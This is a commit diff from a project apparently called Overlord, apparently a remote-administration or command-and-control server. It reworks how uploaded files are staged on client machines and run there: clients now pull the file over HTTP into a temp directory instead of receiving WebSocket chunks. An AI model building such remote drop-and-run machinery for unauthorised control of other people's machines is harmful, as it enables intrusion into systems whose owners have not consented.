fix execution uploading

.gitignore

@@ -2,6 +2,7 @@
 TODO-IMPROVEMENTS.md
 upx-reference.txt
 Overlord-Desktop-Tauri\*
+plugin-clipreplace
 
 # Node/Bun
 node_modules/

Overlord-Server/src/server/routes/deploy-routes.ts

@@ -7,6 +7,7 @@ import { AuditAction, logAudit } from "../../auditLog";
 import * as clientManager from "../../clientManager";
 import { metrics } from "../../metrics";
 import { encodeMessage } from "../../protocol";
+import { createUploadPull } from "./file-download-routes";
 
 type RequestIpProvider = {
   requestIP: (req: Request) => { address?: string } | null | undefined;
@@ -175,8 +176,6 @@ export async function handleDeployRoutes(
       return new Response("Not found", { status: 404 });
     }
 
-    const bytes = new Uint8Array(await fs.readFile(upload.path));
-    const chunkSize = 256 * 1024;
     const results: Array<{ clientId: string; ok: boolean; reason?: string; command?: string }> = [];
 
     const formatCommandDisplay = (commandPath: string, commandArgs: string) => {
@@ -208,34 +207,30 @@ export async function handleDeployRoutes(
         continue;
       }
 
-      const dir = clientOs === "windows"
+      const destDir = clientOs === "windows"
         ? `C:\\Windows\\Temp\\Overlord\\${upload.id}`
         : `/tmp/overlord/${upload.id}`;
       const destPath = clientOs === "windows"
-        ? `${dir}\\${upload.name}`
+        ? `${destDir}\\${upload.name}`
-        : `${dir}/${upload.name}`;
+        : `${destDir}/${upload.name}`;
+
+      const pullId = createUploadPull({
+        clientId,
+        filePath: upload.path,
+        fileName: upload.name,
+        size: upload.size,
+      });
+      const pullUrl = `${url.origin}/api/file/upload/pull/${encodeURIComponent(pullId)}`;
 
       target.ws.send(
         encodeMessage({
           type: "command",
-          commandType: "file_mkdir",
+          commandType: "file_upload_http",
           id: uuidv4(),
-          payload: { path: dir },
+          payload: { path: destPath, url: pullUrl, total: upload.size },
         }),
       );
 
-      for (let offset = 0; offset < bytes.length; offset += chunkSize) {
-        const chunk = bytes.subarray(offset, Math.min(offset + chunkSize, bytes.length));
-        target.ws.send(
-          encodeMessage({
-            type: "command",
-            commandType: "file_upload",
-            id: uuidv4(),
-            payload: { path: destPath, data: chunk, offset, total: bytes.length },
-          }),
-        );
-      }
-
       if (clientOs !== "windows") {
         target.ws.send(
           encodeMessage({
@@ -302,8 +297,9 @@ export async function handleDeployRoutes(
       return new Response("Not found", { status: 404 });
     }
 
-    const bytes = new Uint8Array(await fs.readFile(upload.path));
+    const fileBytes = new Uint8Array(await fs.readFile(upload.path));
-    const chunkSize = 256 * 1024;
+    const fileHash = createHash("sha256").update(fileBytes).digest("hex");
+
     const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
 
     for (const clientId of clientIds) {
@@ -325,34 +321,30 @@ export async function handleDeployRoutes(
         continue;
       }
 
-      const dir = clientOs === "windows"
+      const destDir = clientOs === "windows"
         ? `C:\\Windows\\Temp\\Overlord\\${upload.id}`
         : `/tmp/overlord/${upload.id}`;
       const destPath = clientOs === "windows"
-        ? `${dir}\\${upload.name}`
+        ? `${destDir}\\${upload.name}`
-        : `${dir}/${upload.name}`;
+        : `${destDir}/${upload.name}`;
+
+      const pullId = createUploadPull({
+        clientId,
+        filePath: upload.path,
+        fileName: upload.name,
+        size: upload.size,
+      });
+      const pullUrl = `${url.origin}/api/file/upload/pull/${encodeURIComponent(pullId)}`;
 
       target.ws.send(
         encodeMessage({
           type: "command",
-          commandType: "file_mkdir",
+          commandType: "file_upload_http",
           id: uuidv4(),
-          payload: { path: dir },
+          payload: { path: destPath, url: pullUrl, total: upload.size },
         }),
       );
 
-      for (let offset = 0; offset < bytes.length; offset += chunkSize) {
-        const chunk = bytes.subarray(offset, Math.min(offset + chunkSize, bytes.length));
-        target.ws.send(
-          encodeMessage({
-            type: "command",
-            commandType: "file_upload",
-            id: uuidv4(),
-            payload: { path: destPath, data: chunk, offset, total: bytes.length },
-          }),
-        );
-      }
-
       if (clientOs !== "windows") {
         target.ws.send(
           encodeMessage({
@@ -364,7 +356,7 @@ export async function handleDeployRoutes(
         );
       }
 
-      const hash = createHash("sha256").update(bytes).digest("hex");
+      const hash = fileHash;
       target.ws.send(
         encodeMessage({
           type: "command",

Overlord-Server/src/server/routes/file-download-routes.ts

@@ -61,6 +61,7 @@ type UploadPull = {
   size: number;
   expiresAt: number;
   timeout: ReturnType<typeof setTimeout>;
+  deleteFile: boolean;
 };
 
 type FileDownloadRouteDeps = {
@@ -299,6 +300,33 @@ async function serveDownloadById(
   return new Response(streamFileAndDelete(completed.tmpPath), { headers });
 }
 
+export function createUploadPull(opts: {
+  clientId: string;
+  filePath: string;
+  fileName: string;
+  size: number;
+  ttlMs?: number;
+}): string {
+  const pullId = uuidv4();
+  const ttl = opts.ttlMs ?? FILE_UPLOAD_PULL_TTL_MS;
+  const expiresAt = Date.now() + ttl;
+  const pullTimeout = setTimeout(() => {
+    uploadPulls.delete(pullId);
+  }, ttl);
+  uploadPulls.set(pullId, {
+    id: pullId,
+    clientId: opts.clientId,
+    path: opts.filePath,
+    fileName: opts.fileName,
+    tmpPath: opts.filePath,
+    size: opts.size,
+    expiresAt,
+    timeout: pullTimeout,
+    deleteFile: false,
+  });
+  return pullId;
+}
+
 export async function handleFileDownloadRoutes(
   req: Request,
   url: URL,
@@ -446,7 +474,7 @@ export async function handleFileDownloadRoutes(
     const pullTimeout = setTimeout(() => {
       const pull = uploadPulls.get(pullId);
       uploadPulls.delete(pullId);
-      if (pull) {
+      if (pull && pull.deleteFile) {
         void fs.unlink(pull.tmpPath).catch(() => {});
       }
     }, FILE_UPLOAD_PULL_TTL_MS);
@@ -460,6 +488,7 @@ export async function handleFileDownloadRoutes(
       size: stagedSize,
       expiresAt: pullExpiresAt,
       timeout: pullTimeout,
+      deleteFile: true,
     });
 
     return Response.json({
@@ -514,7 +543,10 @@ export async function handleFileDownloadRoutes(
       "Content-Length": String(pull.size),
     };
 
-    return new Response(streamFileAndDelete(pull.tmpPath), { headers });
+    const body = pull.deleteFile
+      ? streamFileAndDelete(pull.tmpPath)
+      : Bun.file(pull.tmpPath).stream();
+    return new Response(body, { headers });
   }
 
   if (!url.pathname.startsWith("/api/file/download")) {